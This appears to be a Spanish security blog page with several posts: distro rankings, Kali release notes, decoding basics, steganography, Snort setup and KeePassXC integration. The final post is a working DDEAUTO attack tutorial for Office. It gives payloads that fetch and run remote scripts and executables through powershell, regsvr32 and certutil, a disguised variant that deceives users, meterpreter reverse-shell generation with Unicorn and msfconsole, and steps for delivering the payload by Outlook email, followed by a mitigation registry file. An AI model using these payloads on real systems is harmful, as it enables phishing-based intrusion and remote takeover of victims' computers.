Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

jueves, 28 de diciembre de 2017

SecHackLabs: Las mejores distribuciones enfocadas al hacking 2017 - 2018.


Hoy 28 de diciembre, ya casi despidiéndonos del 2017 se hace necesario realizar una revisión de lo que este año nos dejó y lo que tenemos para iniciar el 2018 con todo y cómo no realizar una comparación entre las mejores distribuciones de hacking/pentesting que reinaron en este año y las que de uno u otro modo se ganaron su lugar. Este post no pretende ser extenso ni explicar detalladamente carácteristicas de cada distribución, puedes darte a la tarea de investigarlas por tu cuenta, así mismo la valoración de estas distribuciones están basadas en estas consultas.

1. GNU Kali/Linux: Esta distribución se merece todos los méritos y halagos por el gran desarrollo que tiene, sus continuas mejoras, por ser desarrollada por Offensive Security y porque cada año nos trae cosas nuevas y coloca las herramientas más actuales y funcionales en su paquetería para que podamos descargarlas sin problema. Adicional a eso ofrece un Kernel con múltiples parches de seguridad y optimizado para pruebas de hacking WiFi, una interfaz gráfica moldeada para que sea agradable al usuario final en cualquiera de las versiones que hayamos elegido (Gnome, Xfce, KDE, etc), esto hace que se mantenga en la cima del top en las distribuciones enfoncadas a pentesting. Cabe la pena mencionar que esta distribución ha sido blanco de comentarios malintencionados que la quieren hacer ver cómo una distribución usada solamente por  lamers, script kiddies y personas que solo desean cometer actos delictivos, pero en ningún momento es así, es la distribución más conocida, completa y mejor desarrollada que hay hasta el momento para el mundo del hacking y pentesting, usada a nivel mundial por profesionales en seguridad informática. Si aún no la has probado te invitamos a hacerlo.



2. Parrot Security OS: Esta es otra de las distribuciones a admirar, en abril de 2013 lanzó su primer imagen ISO para instalación y llegó para quedarse. Con una fluidez impresionante, una provechamiento del hardware casi perfecto, el mismo número de herramientas que Kali Linux, una interfaz gráfica impecable y adicionalmente un grupo de herramientas especializadas para el anonimato la convierten en la segunda mejor distribución del año. Esta distribución más allá de ir enfocada propiamente al penesting y hacking ético, tiene más orientación al hacking estilo Grey Hat.



3. BlackArch: Es una distribución basada en ArchLinux. Enfocada propiamente al pentesting tiene una lista de 1910 herramientas a la fecha de hoy, las cuales son suficientes para usarla en nuestro día a día si somos especialistas en seguridad informática. Es un proyecto relativamente nuevo pero que ha brindado lo suficiente para ganarse un puesto aquí en este top.




Menciones especiales:

* Debian: No debe ser necesario el porque, es la distribución en la cual se basan Kali Linux y Parrot Security OS, es la encargada de solucionar la mayoría de los problemas que se presentan y de mantener todos los paquetes usados por estas distribuciones al día. Es "el papá de los pollitos" de todas las distros que manejan paquetes .deb.

* Wifislax: Esta antigua basada en Slackware liberó su versión 1.1 este año y sigue en pie, dando la lucha y siendo la favorita de muchos cuando se trata de temas de hacking WiFi.

* ArchLinux: Es la distro base de BlackArch y al igual que debian se encarga de mantener todo el sistema actualizado y con la menor cantidad de errores posibles.

Esperamos que este post haya sido de su utilidad, cualquier duda o sugerencia pueden dejarla en los comentarios.

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

SecHackLabs: Kali Linux 2017.3 y sus mejoras.


Kali Linux 2017.3 fue liberada el 21 de noviembre de 2017, incluyendo todos los parches, correcciones, actualizaciones y mejoras desde la versión 2017.2. En esta versión, el núcleo se ha actualizado a 4.13.10 e incluye algunas mejoras notables:


Además del nuevo Kernel y todas las actualizaciones y correcciones que fueron tomadas de Debian, también se ha actualizado los paquetes para Reaver, PixieWPS, Burp Suite, Cuckoo, The Social Engineering Toolkit (SET), y más. Puede ver la lista completa de cambios aquí.

NUEVAS HERRAMIENTAS AÑADIDAS.

Luego de Kali Linux 2017.2 se han añadido nuevas herramientas a la distribucion, las cuales son enfocadas a la recopilación de información y son de código abierto. Las herramientas no están incluidas en la instalación por defecto pero se pueden instalar una a una o en grupo  usando el gestor de paquetes.
* InSpy.

Es una pequeñas pero poderosa herramienta que permite realizar búsquedas en Linkedin y encontrar personas basándose en el título del trabajo, la empresa o la dirección de correo electrónico.

Instalación: apt update && apt -y install inspy


* CherryTree.

Una aplicación de toma de notas jerárquica, con texto enriquecido y resaltado de sintaxis, almacena datos en un solo archivo xml o sqlite según tu preferencia.

Instalación: apt update && apt -y install cherrytree



* Sublist3r.

Es una poderosa herramienta que nos permite enumerar subdominios de un sitio en específico usando los motores de busqueda actuales entre los que están: Baidu, Yahoo, Google, Bing, Ask, Netcraft, DNSdumpster, Virustotal, entre otros.

Instalación: apt update && apt -y install sublist3r


* OSRFramework.

Es otra excelente herramienta OSINT que se ha agregado a los repos es OSRFramework, una colección de scripts que pueden enumerar usuarios, dominios y más en más de 200 servicios diferentes. 

Instalación: apt update && apt -y install osrframework


 * METAMORFOSIS DE MALTEGO.

Una de nuestras aplicaciones favoritas en Kali siempre ha sido Maltego, la increíble herramienta de recopilación de información de código abierto de Paterva, y el igualmente increíble Casefile. Estas dos aplicaciones siempre han sido entidades separadas, pero a partir de finales de septiembre, ahora están combinadas en una aplicación que todavía permite ejecutar Maltego Community Edition y Casefile, pero ahora también funciona para aquellos de ustedes con licencias de Maltego Classic o Maltego XL. Como siempre, las herramientas funcionan maravillosamente y se ven genial.





Las imágenes ISO actualizadas pueden encontrarse en: https://www.kali.org/downloads/

Una completa lista de cambios la puedes ver aquí:


Kali Linux - Change Log


Kali Linux - 2017.3 (Released 2017-11-21) View Issues ]
=========================================

Third Kali release in 2017.
More release information: https://www.kali.org/kali-linux-releases/

- 0004097: [Kali Package Bug] Drivers iwlwifi-7265D-26.ucode and others not found during installation process - resolved.
- 0004352: [Kali Package Improvement] Metasploit wordlists are marked executable (sbrun) - resolved.
- 0004095: [Kali Package Bug] Openvas 9 shceudled tasks fail to run (sbrun) - resolved.
- 0004226: [Kali Package Bug] on the same scan target, nmap 7.60 scans run significantly slower or do not complete compared to nmap 7.40 (rhertzog) - resolved.
- 0004344: [Kali Package Bug] Setoolkit 7.7.4 Upgrade dosnt work remain on 7.7.2 (sbrun) - resolved.
- 0004045: [Tool Upgrade] Replace Veil-Evasion With Veil 3.0 (sbrun) - resolved.
- 0004336: [Tool Upgrade] reaver v1.6.3 available (sbrun) - resolved.
- 0004334: [Tool Upgrade] Social Engineering Toolkit (setoolkit) v7.7.4 available (sbrun) - resolved.
- 0003981: [Tool Upgrade] O-Saft version 17.04.17 available (sbrun) - resolved.
- 0004297: [Kali Package Bug] hydra segmentation fault (sbrun) - resolved.
- 0004256: [Tool Upgrade] Update cuckoo to 2.0.4 (sbrun) - resolved.
- 0004312: [Tool Upgrade] burpsuite v1.7.27 available (sbrun) - resolved.
- 0004293: [Tool Upgrade] pixiewps v1.3 released (sbrun) - resolved.
- 0004050: [Tool Upgrade] ethtool update is available (sbrun) - resolved.
- 0004269: [New Tool Requests] CherryTree - A hierarchical note taking application (sbrun) - resolved.
- 0004253: [General Bug] gnome-disk-utility 3.26.0 crashing (rhertzog) - resolved.
- 0004205: [General Bug] Low Disk Space on "Kali Live" (rhertzog) - resolved.
- 0001964: [New Tool Requests] Add Sublist3r v1.0 (Was SubBrute) - Fast subdomains enumeration tool for penetration testers (sbrun) - resolved.
- 0003042: [New Tool Requests] Add OSRFramework v6.0 - Tools for user profiling and online research (sbrun) - resolved.
- 0004270: [Tool Upgrade] reaver v1.6.2 released (sbrun) - resolved.
- 0004265: [Kali Package Bug] EDB Debugger - "edb Failed to Load A Necessary Plugin" (sbrun) - resolved.
- 0004254: [General Bug] Kali Light login language default to aa_DJ.utf8 AFTER HD install (rhertzog) - resolved.
- 0004247: [Kali Package Bug] Rebuild gr-osmosdr for GNU Radio 3.7.11 (rhertzog) - resolved.


Puedes dejar tus inquietudes en los comentarios.

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

miércoles, 13 de diciembre de 2017

Rompiendo la criptografía sin herramientas.



Rompiendo la criptografía sin herramientas.

Cómo ya sabemos hay muchas herramientas para descifrar los mensajes encriptados , pero la criptografía no se aplica solo para mensajes, también el cifrado se puede implementar en muchas áreas cómo es la parte de estenografía. Los mensajes cifrados, ya sea audio, video, imágenes o contraseñas de administración en sitios web, se puede implementar para comunicación segura pero en este post hablaremos sobre como descifrar los mensajes que estén en archivos multimedia o en formato texto pero de una forma pasiva, es decir, sin el uso de herramientas automatizadas.

Lo primero que hay que hacer es identificar qué clase de cifrado es y que exactamente hay que hacer. Estos son algunos ejemplos:

1. Comenzaremos con base 64, pero supongamos que en la descripción de un texto les coloquen: (64 esab).

Cómo pueden notar dice base 64 al revés pero es fácil identificar cuando es base 64 ya que se suele ver lo que es mayúsculas y el signo ‘=’, por ejemplo un mensaje en base 64 se vería de esta forma:
SG9sYSBTZWN1cml0eSBIYWNrIExhYnMsIGVzdG8gZXMgYmFzZSA2NA==
Es identificable porque compone de mayúsculas, minúsculas, números y termina en =.

Una vez ya reconocido que es base 64 se procede a buscar en el navegador: “decode base 64” y encontramos muchas opciones online cómo:

- https://www.base64encode.org/
Esta es una de ellos pero hay muchas más. Puedes hacer la prueba con el hash dejado en el ejemplo de arriba.

2. Binarios: Todos sabemos que los binarios se componen de 0 y 1 quiere decir apagado (0) y encendido (1), por ende es identificable cuando es en binario así que solo sería buscar algún traductor de binario. Ejemplo:
01100101 01110011 01110100 01101111 00100000 01100101 01110011 00100000 01110101 01101110 00100000 01101101 01100101 01101110 01110011 01100001 01101010 01100101 00100000 01100101 01101110 00100000 01100010 01101001 01101110 01100001 01110010 01101001 01101111 

Así se ve un mensaje en binario y al buscar en nuestro navegador: “convert from binary” encontramos muchas opciones cómo la siguiente:

- http://www.traductorbinario.com/ - Puedes hacer la prueba con el texto dejado en el ejemplo.

Seguimos los mismos pasos con las partes sencillas como son los cifrados hexadecimal, decimal, octal, ASCII, etc. El paso Así se ve un mensaje en binario y al buscar en nuestro navegador: “convert from binary” encontramos muchas opciones cómo la siguiente:

- http://www.traductorbinario.com/ - Puedes hacer la prueba con el texto dejado en el ejemplo.

Seguimos los mismos pasos con las partes sencillas como son los cifrados hexadecimal, decimal, octal, ASCII, etc. El paso principal es identificar el cifrado, pero no siempre tendrán situaciones sencillas como es cifrados así habrán mas difíciles como es una mezcla distorsionada de diferentes cifrado donde habrá que identificar cuales se implementan y como. Por ejemplo:


( 0:3:0c:20:0f)AAPTFGHKO
Para descifrar algo así, primero habría que convertir en ASCII la parte de las letras (AAPTFGHKO), luego poner el orden de la  parte del paréntesis empezando desde el 3 0c 20 0f y calcular el decimal o hexadecimal según sea el caso, podemos utilizar estas opciones online:
- https://www.dcode.fr/ascii-code

Esto es lo que podría utilizar para resolver un mensaje mezclado, ahí vemos ASCII y hexadecimal. Sería más complicado identificar exactamente que cifrado sería ya que está mezclado. Otro ejemplo puede ser:

Un binario y un base 64 intercalados y tendrían que dividir ambos y descifrarlos (quien dijo que en esto no se vería matemáticas).


Esto sobre las mezclas de palabras sin ningún tipo de cifrado conocido para hacer llegar un mensaje de una forma segura o guardar algo de una forma que solo el que la haya compuesto sepa que quiere decir se puede encontrar ayuda para descifrar esos mensajes con:

Ejemplo de algo parecido: (eeeiiilmmnnorstv=inverosímilmente)
Podemos aplicarlos con los hash, primero es identificarlos y luego decifrarlos, lo podemos aplicar a MD5 y cualquier  otro hash. La mayoría de los usuarios administrativos de sitios web como es el login administrador en muchos casos vienen encriptadas bajo el algoritmo MD5, para estos casos las herramientas si son favorables y para este caso una muy buena es: 

Si quieren identificar si el hash que deseas desencriptar ya ha sido crackeado pueden consultar esta pagina: 

También podemos implementarlo con los hash SHA1, se puede usar: https://hashkiller.co.uk/sha1-decrypter.aspx
Para las imágenes y archivos se puede utilizar lo que son los hexdump que es un visualizador de hexadecimal: 

Adicional a esto se puede usar la implementación de scripts para descifrar ya sea en PHP, python , perl y otros lenguajes. Existen muchas formas de descifrar archivos sin necesidad de herramientas, tanto de una forma sencilla cómo la explicada a lo largo de este post que es una forma pasiva que consiste en dos partes básicamente: identificación del cifrado y uso del navegador para descifrarlo 
También están las herramientas (más adelante hare un post de las herramientas y scripts más útiles al momento de encriptar/desencriptar), así cómo los ataques de diccionario o fuerza bruta y los scripts programados.

Esperamos que este post haya sido de su utilidad, cualquier duda o sugerencia pueden dejarla en los comentarios.

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

Esteganografía: Camuflando información en archivos.


Esteganografía literalmente significa escritura encubierta, es la técnica que permite ocultar ya sea mensajes u objetos dentro de otros, los cuales son denominados portadores de tal manera que no sea posible percibir su existencia a simple vista, lo cual hace que sea casi imposible de detectar y que aunque sea interceptado y se tenga conocimiento de la información que posee no se puede saber cómo acceder a ella ni que contiene. Esto hace de la esteganografía una técnica muy valiosa tanto para los espías, como para activistas, militares, gobiernos e incluso terrorismo, ya que juega con la ventaja de que es más o menos invisible (difícil darse cuenta de su existencia), puede ser enviada por canales poco seguros (como internet) y resulta muy complicado demostrar ante un juez que estamos ante una comunicación oculta sin conocer los elementos que la forman.

Hagamos de cuenta que  pegamos dos hojas de papel y en medio de ellas va una cinta con un mensaje oculto y esto solo lo conoce la persona a quien va dirigido. El mensaje puede ser interceptado y robado por un intermediario, pero este (que probablemente espera un mensaje escrito en las hojas) no encontrará nada debido a que el mensaje va dentro de un portador, en este caso el papel. Además podemos añadirle una capa extra de seguridad si lo escribimos en un tipo específico de lenguaje o código. A continuación un gráfico referente a cómo funciona la esteganografía:


Técnicas de esteganografía.

 1. Esteganografía pura: No existe estego-clave, y por tanto, se presupone que el guardían (quien intercepta el paquete) es incapaz de reconocer una información oculta mediante estego de un mensaje normal. Se aplica entonces seguridad basada en la oscuridad, es decir, se oculta un mensaje o información X en un portador Y de tal modo que el guardían no pueda reconocer que existe información oculta dentro.

2. Esteganografía de clave secreta: En este caso, la estego-función depende de una clave que deben conocer tanto el emisor como el receptor.

Además, dentro de estas dos categorías, y atendiendo ya a los canales utilizados, podemos hablar de:

 *  Esteganografía en texto: Ofuscar información en texto, de manera que algunas (o todas) las palabras del mismo, sirvan para descifrar el mensaje. Hay varias técnicas, pero la mayoría se basan en aplicar algún algoritmo que permita elegir diferentes estados (por ejemplo, un 0 o un 1) según diferentes palabras (coche = 0, gato=1), en un orden específico. Así, cuando en el texto aparezca por primera vez coche, entendemos que habrá un 0, y si en vez de coche apareciera gato, sería un 1. Seguiremos leyendo y poco a poco obtendremos el resto del mensaje oculto. De ahí que estas técnicas se suelan apoyar en generación de semántica (para dar sentido a las frases). Tenemos por ejemplo spammimic, una herramienta muy antigua encargada de codificar mensajes en supuestos mensajes de spam (los típicos mensajes de spam que vemos en foros y blogs). Simplemente dices el mensaje a ocultar, y spammimic genera el texto de spam, que el emisor colocaría en una fuente conocida, y el receptor recuperaría para hacer el proceso contrario. Cualquier guardián que viera el mensaje solo vería un spam más, sin darse cuenta de que hay información oculta.

* Esteganografía en sistemas operativos y ficheros: Consiste en ofuscar información apoyándose en las restricciones propias del canal utilizado. Un ejemplo muy utilizado hace algunos años y sencillo de aplicar era el de dividir el disco duro de un ordenador en bloques por ejemplo de 256, cuando Windows como mínimo permitía 512. Al hacerlo de esta manera, se le engañaba, por lo que para cada bloque, Windows utilizaba 256, y el emisor tenía otros 256 para ocultar información, que podía recuperar con herramientas específicas. También resulta bastante sencillo ofuscar información utilizando ADS en NTFS. En NTFS un fichero está construido por varios flujos (uno para los permisos del archivo, otro para datos del usuario,..). Herramientas como LADS o crucialADS permiten recopilar este tipo de archivos.

 * Esteganografía en formato de ficheros: Ofuscamos información en las limitaciones propias del fichero, o de los elementos de control de los sistemas encargados de leer el fichero. La más conocida y sencilla es la Técnica de Final de Fichero (EOF), que aprovecha el poco control a la hora de leer un fichero para ocultar información al final del mismo. La mayoría de sistemas solo leen la información necesaria, por lo que se puede agregar contenido adicional que pasará desapercibido.

* Esteganografía hardware: Aprovechar, de nuevo, las limitaciones (o fallos de seguridad) de un elemento físico para ofuscar información dentro de él. Y aquí el mejor ejemplo es el uso de malware en BIOS (BadBIOS) que sacudió internet entera y el BadUSB, que básicamente siguen el mismo principio.

 * Esteganografía en tecnologías web: Aprovechar la propia arquitectura del lenguaje de maquetado para ofuscar información. Como bien sabe, HTML no distingue entre mayúsuculas y minúsculas, por lo que para el navegador <br> sería lo mismo que <Br>, que <bR> o que <BR>. Y ahí tenemos varias alternativas distintas que funcionan de la misma manera.

* Esteganografía en protocolos de comunicación: Semejante a las técnicas aplicadas en el formato de ficheros, pero con el formato de los protocolos (por ejemplo, ocultando información en cabeceras UDP).

* Esteganografía en contenido multimedia: Tanto en imágenes como en sonido o vídeo. Las técnicas aplicadas en esteganografía de imágenes son muy parecidas a las aplicadas en sonido (basadas normalmente en ocultar información de poco peso en elementos muy pequeños del sistema de archivos multimedia, por ejemplo a nivel de pixeles en imágenes). En vídeo encontramos técnicas cruzadas de los dos anteriores, con algunas nuevas en las que interfiere movimientos específicos (guardar información cuando una zona cambie bruscamente de tonalidad) o en ejes críticos (subidas de volumen o espacios que cumplan x particularidad).

A continuación les dejamos un vídeo hecho por Security Hack Labs:



Esperamos que este post haya sido de su utilidad, cualquier duda o sugerencia pueden dejarla en los comentarios.

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

viernes, 8 de diciembre de 2017

Comunicado: Ahora los tutoriales, vídeos y post serán basados en Kali Linux.




Queridos lectores, el día de hoy no vamos a elaborar una publicación relacionada a la seguridad informática, hoy vamos a darles a conocer un cambio que hemos decidido realizar en Security Hack Labs, el cual causará efectos considerables para nosotros de acuerdo a lo que se había planeado desde un comienzo y también los tendrá en todos aquellos que siguen nuestras publicaciones. A partir de este momento, todos los videos, turoriales y post que realizará nuestro equipo, se basarán en la distribución Kali Linux, la bien conocida de Offensive Security y no en ArchLinux cómo se venía realizando anteriormente.

Cómo un Team que piensa en sus integrantes, inicialmente planteamos a nivel interno la viabilidad de este cambio y las ventajas y desventajas que podría tener, así mismo el impacto en nuestro público y fue aprobada por decisión unánime. Posteriormente decidimos preguntarle a nuestros seguidores los cuales nos dieron una rotunda aprobación, puedes verlo aquí en esta publicación de Facebook

El objetivo principal de este cambio es llegar a más público y tener una comunidad que genere apoyo y conocimiento a una mayor cantidad de personas a nivel mundial. El soporte para la distribución ArchLinux no se descontinuará, seguirá vigente en nuestras salas de chat:

Así mismo en las publicaciones se incluirán instrucciones generales para las mismas.





sábado, 2 de diciembre de 2017

Snort: Sistema de detección de intrusos en red y más.



Snort es un programa creado por Martin Roesch, que es ampliamente utilizado como Intrusion Prevention System (IPS) e Intrusion Detection System (IDS) en la red. Se divide en cinco mecanismos importantes: motor de detección, sistema de registro y alerta, decodificador de paquetes y módulos de salida. El  programa es bastante famoso para llevar  análisis de tráfico en tiempo real, también para detectar consultas o ataques, registro de paquetes en redes de Protocolo de Internet, detectar actividad maliciosa, ataques de denegación de servicio y escaneo de puertos al monitorear tráfico de red, desbordamientos de búfer, servidor sondas de bloques de mensajes y escaneo de puertos sigilosos.

Snort tiene una base de datos de ataques que se actualiza constantemente a través de internet. Los usuarios pueden crear firmas basadas en las características de los nuevos ataques de red y enviarlas a la lista de correo de firmas de Snort, esta ética de comunidad y compartir ha convertido a Snort en uno de los IDS basados en red más populares, actualizados y robustos. Sin embargo, snort ofrecen capacitación impartida con un instructor virtual.

Snort se puede configurar en tres modos principales:

  • Modo Sniffer: observará los paquetes de red y los presentará en la consola.
  • Modo de registrador de paquetes: registrará los paquetes en el disco.
  • Modo de detección de intrusos: el programa monitorear el tráfico de la red y lo analizará contra un conjunto de reglas definido por el usuario.

Instalar en debian:

$ sudo apt update
$ sudo apt install snort

Configuración como root:

/etc/init.d/snort start


nano /etc/snort/snort.conf


Debemos agregar nuestra ip, la podemos encontrar con el comando ifconfig. "Recuerden guardar el archivo".
reiniciamos el servicio:

/etc/init.d/snort restart


snort -A console -i enp2s0 -c /etc/snort/snort.conf


Instalar en archLinux:

$ sudo pacman -S snort

Algunos comandos en modo Sniffer:

Comencemos con lo básico! Si sólo desea capturar los encabezados de paquetes TCP/IP en la pantalla.

$ sudo snort -v


Este comando solo mostrará los encabezados de IP y TCP / UDP / ICMP.

$ sudo snort -vd


"Snort funciona con Oinkcodes. Que son claves únicas asociadas a su cuenta de usuario. También actúa como una clave de API para descargar paquetes de reglas".




Para mayor información y suscripción puedes encontrarlo en  pagina oficial https://www.snort.org/

Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios o bien, en los medios que indicamos a continuación. 

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

jueves, 30 de noviembre de 2017

Integrando KeePassXC junto a Firefox.


Anteriormente hablamos de KeePassXC, un potente, seguro y moderno gestor de contraseñas multiplataforma. 

El día de hoy les vamos a enseñar cómo configurarlo de tal manera que no sea necesario introducir todas las contraseñas y datos de acceso manualmente en la aplicación, sino que esto se realice automáticamente cuando hagamos el ingreso en un sistio web mediante el navegador Firefox. Para esto vamos a utilizar un addon llamado KeePassHTTP-Connector



Una vez instalado abrimos nuestro KeePassXC instalado y realizamos lo siguiente:

1. Abrimos nuestro KeePassXC, vamos a la sección "Tools -> Settings -> Browser Integration" y activamos la opción "Enable KeePassHTTP server".


2. Una vez hecho esto, volvemos a Firefox y presionamos sobre el ícono de KeePassHTTP-Connector y seguidamente en "Connect".


3. Una vez hagamos click en conectar, nos informará que KeePassHTTP está solicitando un ID o un nombre para la base de datos que queremos crear en el servidor interno, en mi caso colocaré "shldb".



4. Si nos vamos nuevamente al ícono de KeePassHTTP-Connector, nos damos cuenta que se ha quitado la "x" roja y además nos muestra un mensaje que dice que está conectado al servidor KeePassHTTP usando el identificador de la base de datos asignado en el paso anterior.


Con eso tenemos todo listo, ahora hagamos la prueba. Vayamos a cualquier sitio donde tengamos un login activo, yo lo haré en https://chat.disroot.org/#/login. Cómo podemos observar, al momento de introcucir nuestras credenciales y dar click en "Login", el ícono de KeePassHTTP-Connector cambia a color rojo y empieza un leve parpadeo. Al dar click en el ícono nos informará que se ha detectado un cambio en usuario o contraseña y preguntará si deseamos añadir los datos de acceso a la base de datos de KeePassHTPP, damos en "New".
 


Ahora podemos verificar que en realidad se ha añadido a la base de datos de KeePassXC yendo a ella y comprobando la lista de accesos.


A continuación dejaremos un vídeo donde se realizará paso a paso lo escrito en el blog.



Notas.

* Para que el protocolo KeePassHTTP funcione, es necesario que la base de datos de KeePassXC permaneza desbloqueda.

* KeePassHTTP no es un protocolo altamente seguro y tiene ciertos fallos que permiten a un atacante descifrar sus contraseñas si logran interceptar la comunicación entre un servidor KeePassHTTP y KeePassHTTP-Connector a través de una conexión de red (ver aquí y aquí). Por lo tanto, KeePassXC limita estrictamente la comunicación entre él y el complemento del navegador a su computadora local. Mientras su computadora no se vea comprometida, sus contraseñas son bastante seguras de esa manera, ¡pero úselas bajo su propio riesgo!.

* Si lo único que vas a guardar, son contraseñas de accesos web, te recomendamos configurar y utilizar la contraseña maestra de Firefox en lugar de un gestor de contraseñas.

Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios o bien, en los medios que indicamos a continuación. 

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

martes, 28 de noviembre de 2017

Infectando Office de Windows con DDEAUTO


Hace unos días se descubrió una vulnerabilidad que puede desencadenar la ejecución de comandos en Office, sin el uso de macros, cuando alguien abre un documento de Office especialmente diseñado. Aunque se necesita un poco de ingeniería social para que la víctima haga clic en "sí" en los primeros 2 de 3 cuadros de mensaje, la mayoría de los usuarios finales son engañados fácilmente. Descubrieron que al abusar de los parámetros de la función DDEAUTO podían usar powershell para descargar cargas maliciosas de forma remota. DDE es un mecanismo heredado de Comunicación entre Procesos (IPC) que data de 1987, que establece un enlace de intercambio dinámico de datos (DDE) con un documento creado en otro programa basado en Microsoft Windows. SensePost descubrió que, en lugar de especificar una aplicación como Excel, un atacante puede especificar parámetros arbitrarios de otra aplicación como primer parámetro y argumentos citados como el segundo parámetro (que no puede exceder 255 bytes).

La prueba rápida y fácil:

Abra un nuevo documento de Word, presione la tecla CTRL + F9, y pegue esto entre los corchetes {} y luego guarde el archivo

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"



Deberías tener algo similar que se parece a la imagen de arriba.
Payloads.
 Aunque ejecutar la calculadora es lindo y todo con fines de demostración, puede hacer más cosas maliciosas para ejecutar cargas maliciosas en un sistema de destino.

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\\Windows\System32\cmd.exe /c cscript.exe index.js"


DDEAUTO c:\\windows\\system32\\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll " 



DDEAUTO c:\\windows\\system32\\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"


DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "


También existe un script bash que usa CactusTorch para generar automáticamente payloads de conexión inversa en meterpreter, ya sea mediante TCP/HTTP/HTTPS y embebidos en lenguajes vbs/hta/js que puede insertar en documentos de Word para probar.

https://github.com/xillwillx/CACTUSTORCH_DDEAUTO

También puedes ofuscar los contenidos del mensaje de alerta promoviendo tus intentos de ingeniería social para engañar al usuario para que haga clic en "sí".
 
DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"


Aunque los scripts de powershell webdl son más fáciles de hacer, es posible que desee tener un payload todo en un solo documento, por lo que no llamará a su binario a través de la red. Dave Kennedy actualizó su script en python Unicorn para generar payloads con msfvenom que codifica/decodifica en base64 cuando se activa el DDEAUTO.

Abra una consola en GNU/Linux y ejecute lo siguiente:

IP=`ip -4 addr show $iface | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
git clone https://github.com/trustedsec/unicorn.git && cd unicorn
python unicorn.py windows/meterpreter/reverse_https $IP 443 dde
cat powershell_attack.txt  | xclip -selection clipboard | leafpad powershell_attack.txt 

Nota: Debe reemplazar $iface por la interfaz que desee usar, puedes verlas usando el comando ip link.
 
Pegue el payload generado con el comando "cat" en Word y guárdelo, luego envíela a su destino. Luego, en una nueva terminal, abra su metereter para recibir algunas shells inversas.

IP=`ip -4 addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
msfconsole -qx "use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LHOST '$IP';set LPORT 443; set ExitOnSession false;exploit -j -z"

* Si necesita su IP externa, cambie la primera línea de código a:

IP="$(dig +short myip.opendns.com @resolver1.opendns.com)"
Outlook.

También puede obtener shells con un mensaje de correo electrónico de texto enriquecido de Outlook, la única advertencia en Outlook 2013/2016 es que necesita incrustar una imagen/gráfico u objeto primero antes de agregar el payload DDEAUTO.

Abra el documento de Word, presione la tecla CTRL + F9 y pegue su payload entre los corchetes {}, luego abra un nuevo mensaje de correo electrónico de Outlook. Vaya a la pestaña Formato de texto y cambie el mensaje a formato de texto enriquecido.



En el cuerpo del mensaje, copie y pegue cualquier imagen en el cuerpo.



De su documento Word, copie el payload y luego péguelo en el cuerpo del correo electrónico. Ingrese el destinatario, etc. y envíe. Obtendrá los mensajes DDE, solo dígales "no". Cuando su destinatario recibe el correo electrónico, no se activará hasta que presione responder. Si presionan "sí" en las primeras 2 casillas de mensajes, entonces ejecutará su payload.




Mitigaciones:

Se ha probado que esto funciona en archivos doc(x/m), dot(x/m), rtf, Word xml, draft msg & oft. Aunque el análisis subyacente que utiliza Word desencadena este comportamiento cuando se abren estos tipos de archivos, Microsoft respondió que se trata de una característica y que no se tomarán medidas adicionales para solucionarla (a menos que, por supuesto, los actuales ataques de ransomware y otros virus lo forcen).

A continuación dejaremos un archivo .reg que puede ser usado para desactivar DDEAUTO en tu sistema.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\OneNote\Options]
"DisableEmbeddedFiles"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\OneNote\Options]
"DisableEmbeddedFiles"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001
 "Options"=dword:00000117

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001
 "Options"=dword:00000117 

 

